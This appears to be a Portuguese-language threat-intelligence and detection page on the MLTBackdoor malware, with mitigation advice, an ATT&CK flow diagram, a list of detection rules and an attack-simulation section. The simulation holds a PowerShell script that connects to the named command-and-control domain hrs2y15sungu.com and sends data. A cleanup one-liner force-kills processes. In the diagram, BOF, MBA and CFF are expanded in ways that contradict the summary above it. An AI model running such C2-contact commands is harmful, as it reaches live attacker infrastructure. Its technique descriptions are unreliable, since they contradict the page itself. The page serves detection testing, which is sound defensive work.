Análise Técnica do MLTBackdoor
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Zscaler ThreatLabz identificou uma nova família de malware, MLTBackdoor, em maio de 2026. A ameaça é distribuída por meio de uma cadeia de infecção em múltiplas etapas chamada ClickFix e parece ser usada por operadores de ransomware para estabelecer acesso inicial e apoiar movimentos laterais. O malware depende de forte ofuscação, um algoritmo de geração de domínio e um carregador Beacon Object File (BOF) para expandir suas capacidades após a execução. As comunicações de rede são criptografadas via TLS e são projetadas para se parecer com tráfego legítimo de Otimização de Entrega da Microsoft, ajudando a atividade a se misturar ao comportamento normal da rede.
Investigação
A análise seguiu a cadeia de infecção até um conhost.exe wrapper que baixou um arquivo compactado de um domínio gerado por meio da lógica DGA do malware. Dentro desse arquivo, endpointdlp.dll descriptografava um payload criptografado com RC4 que então era carregado como o binário MLTBackdoor. Os pesquisadores descobriram que o malware usa aritmética booleana mista, achatamento de fluxo de controle, chamadas de sistema indiretas e um protocolo de comunicação criptografado personalizado para dificultar a análise e detecção. O carregador BOF embutido também permite que os operadores executem módulos adicionais no estilo Cobalt Strike na memória.
Mitigação
Os defensores devem bloquear os domínios de comando e controle identificados e monitorar os padrões relacionados de DGA. A detecção deve também focar na string específica do agente do usuário e no tráfego TLS direcionado para /api/v1/telemetry na porta 443. As equipes de segurança devem estar atentas ao uso suspeito de conhost.exe com os argumentos documentados e para a criação de endpointdlp.dll em diretórios temporários. As detecções baseadas em comportamento para hashing de API e o uso de chamadas de sistema indiretas podem melhorar ainda mais a visibilidade da atividade do MLTBackdoor.
Resposta
Se a atividade MLTBackdoor for detectada, isole o endpoint afetado imediatamente, encerre o processo malicioso e remova quaisquer arquivos inseridos no Temp diretório pelo carregador inicial. Os investigadores devem então realizar uma revisão forense para módulos BOF adicionais ou payloads subsequentes. Quaisquer credenciais potencialmente expostas devem ser redefinidas, e a caça às ameaças deve ser expandida para identificar tentativas de movimento lateral usando os mesmos métodos.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 %% Nodes step_a["<b>Technique</b> – <b>T1189 Drive-by Compromise</b>: O adversário hospeda conteúdo malicioso que é entregue quando uma vítima visita um site comprometido.<br/><b>Technique</b> – <b>T1204.001 User Execution: Malicious Link</b>: A vítima clica em um link criado que aciona a execução do payload."] class step_a action step_b["<b>Technique</b> – <b>T1659 Content Injection</b>: Código malicioso é injetado em páginas da web legítimas para que os visitantes recebam o conteúdo comprometido."] class step_b action step_c["<b>Technique</b> – <b>T1553.002 Signed Binary Proxy Execution (Defender)</b>: Uso de um binário Microsoft Defender assinado para executar por proxy.<br/><b>Technique</b> – <b>T1574.001 Hijack Execution Flow: DLL Search Order Hijacking</b>: Carrega código malicioso manipulando a ordem de resolução do DLL.<br/><b>Technique</b> – <b>T1218 Signed Binary Proxy Execution</b>: Executa payload por meio de binários assinados confiáveis."] class step_c action step_d["<b>Technique</b> – <b>T1027.007 Obfuscated/Stored Files: Embedded Payload</b>: O payload é ofuscado usando análise macro binária (MBA) e formato de arquivo compactado (CFF) para evitar detecção."] class step_d action step_e["<b>Technique</b> – <b>T1497.001 Virtualization/Sandbox Evasion: System Checks</b>: Verifica ambientes virtualizados.<br/><b>Technique</b> – <b>T1497.003 Virtualization/Sandbox Evasion: Time Checks</b>: Usa verificações de tempo para detectar análise.<br/><b>Technique</b> – <b>T1622 Debugger Evasion</b>: Detecta a presença de depuradores e altera o comportamento."] class step_e action step_f["<b>Technique</b> – <b>T1568 Generate, Obfuscate, or Change a Domain Name</b>: Gera numerosos nomes de domínio para comando u2011 e u2011 controle.<br/><b>Technique</b> – <b>T1104 Web Service (fallback C2)</b>: Usa um serviço web como canal de comunicação de fallback."] class step_f action step_g["<b>Technique</b> – <b>T1090 Proxy</b>: Roteia o tráfego C2 através de um proxy.<br/><b>Technique</b> – <b>T1205 Traffic Signaling</b>: Codifica informações de sinalização dentro de tráfego legítimo.<br/><b>Technique</b> – <b>T1001.003 Obfuscated/Encrypted Network Traffic: Protocol Impersonation</b>: Disfarça-se como tráfego normal TLS 443 com um user u2011 agent falsificado."] class step_g action step_h["<b>Technique</b> – <b>T1105 Ingress Tool Transfer</b>: Transfere um payload de segunda etapa para o host comprometido pela rede."] class step_h action step_i["<b>Technique</b> – <b>T1546.006 Event Triggered Execution: Component Object Model Hijacking (BOF loader)</b>: Carrega e executa Beacon Object Files usando um carregador de Buffer u2011 Overflow (BOF)."] class step_i malware %% Connections step_a –>|leads_to| step_b step_b –>|leads_to| step_c step_c –>|leads_to| step_d step_d –>|leads_to| step_e step_e –>|leads_to| step_f step_f –>|leads_to| step_g step_g –>|leads_to| step_h step_h –>|leads_to| step_i "
Fluxo de Ataque
Detecções
Utilitário de Compressão Passou Diretório Incomum (via linha de comando)
Ver
LOLBAS Conhost (via linha de comando)
Ver
Uso Suspeito de CURL (via linha de comando)
Ver
IOCs (HashSha256) para detectar: Análise Técnica do MLTBackdoor Parte 2
Ver
IOCs (HashSha256) para detectar: Análise Técnica do MLTBackdoor Parte 1
Ver
Detectar Comunicações de Rede MLTBackdoor [Conexão de Rede Windows]
Ver
Execução da Cadeia de Infecção MLTBackdoor [Criação de Processo Windows]
Ver
Execução de Simulação
Pré-requisito: A Verificação Prévia de Telemetria & Linha de Base deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.
-
Narrativa de Ataque & Comandos:
- Recon – Resolver domínio DGA – O backdoor gera uma consulta DNS para
hrs2y15sungu.com, um domínio produzido por seu DGA interno. - Contato C2 – Abrir um socket TCP – Usando PowerShell, o adversário cria uma conexão TCP bruta para o IP resolvido na porta 443 (HTTPS) para se misturar ao tráfego normal.
- Recuperação de Payload (T1105) – Pela mesma conexão, o backdoor puxaria módulos adicionais; para o teste simplesmente enviamos uma string inofensiva.
Esses passos emitem um registro Sysmon Event ID 3 com
DestinationHostname = hrs2y15sungu.com, satisfazendo aseleçãocondição da regra Sigma. - Recon – Resolver domínio DGA – O backdoor gera uma consulta DNS para
-
Script de Teste de Regressão:
# TC-20260610-A7B3Z – Simular comunicação C2 do MLTBackdoor # ------------------------------------------------------- # 1. Resolver o domínio malicioso (saída simulada do DGA) $malDomain = "hrs2y15sungu.com" try { $ip = [System.Net.Dns]::GetHostAddresses($malDomain)[0].IPAddressToString } catch { Write-Error "Falha ao resolver $malDomain – abortando teste." exit 1 } # 2. Abrir uma conexão TCP para o IP resolvido na porta 443 $port = 443 $client = New-Object System.Net.Sockets.TcpClient $client.Connect($ip, $port) # 3. Enviar um payload inofensivo (simulando busca de módulo) $stream = $client.GetStream() $payload = [System.Text.Encoding]::ASCII.GetBytes("TEST_PAYLOAD") $stream.Write($payload, 0, $payload.Length) # 4. Manter a conexão viva brevemente para garantir geração de log Start-Sleep -Seconds 5 # 5. Limpeza $stream.Close() $client.Close() Write-Output "Simulação concluída – conexão para $malDomain ($ip:$port) fechada." -
Comandos de Limpeza:
# Certifique-se de que não restem sockets remanescentes (caso o script tenha abortado) Get-NetTCPConnection -RemotePort 443 | Where-Object { $_.RemoteAddress -eq (Resolve-DnsName hrs2y15sungu.com).IPAddress } | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }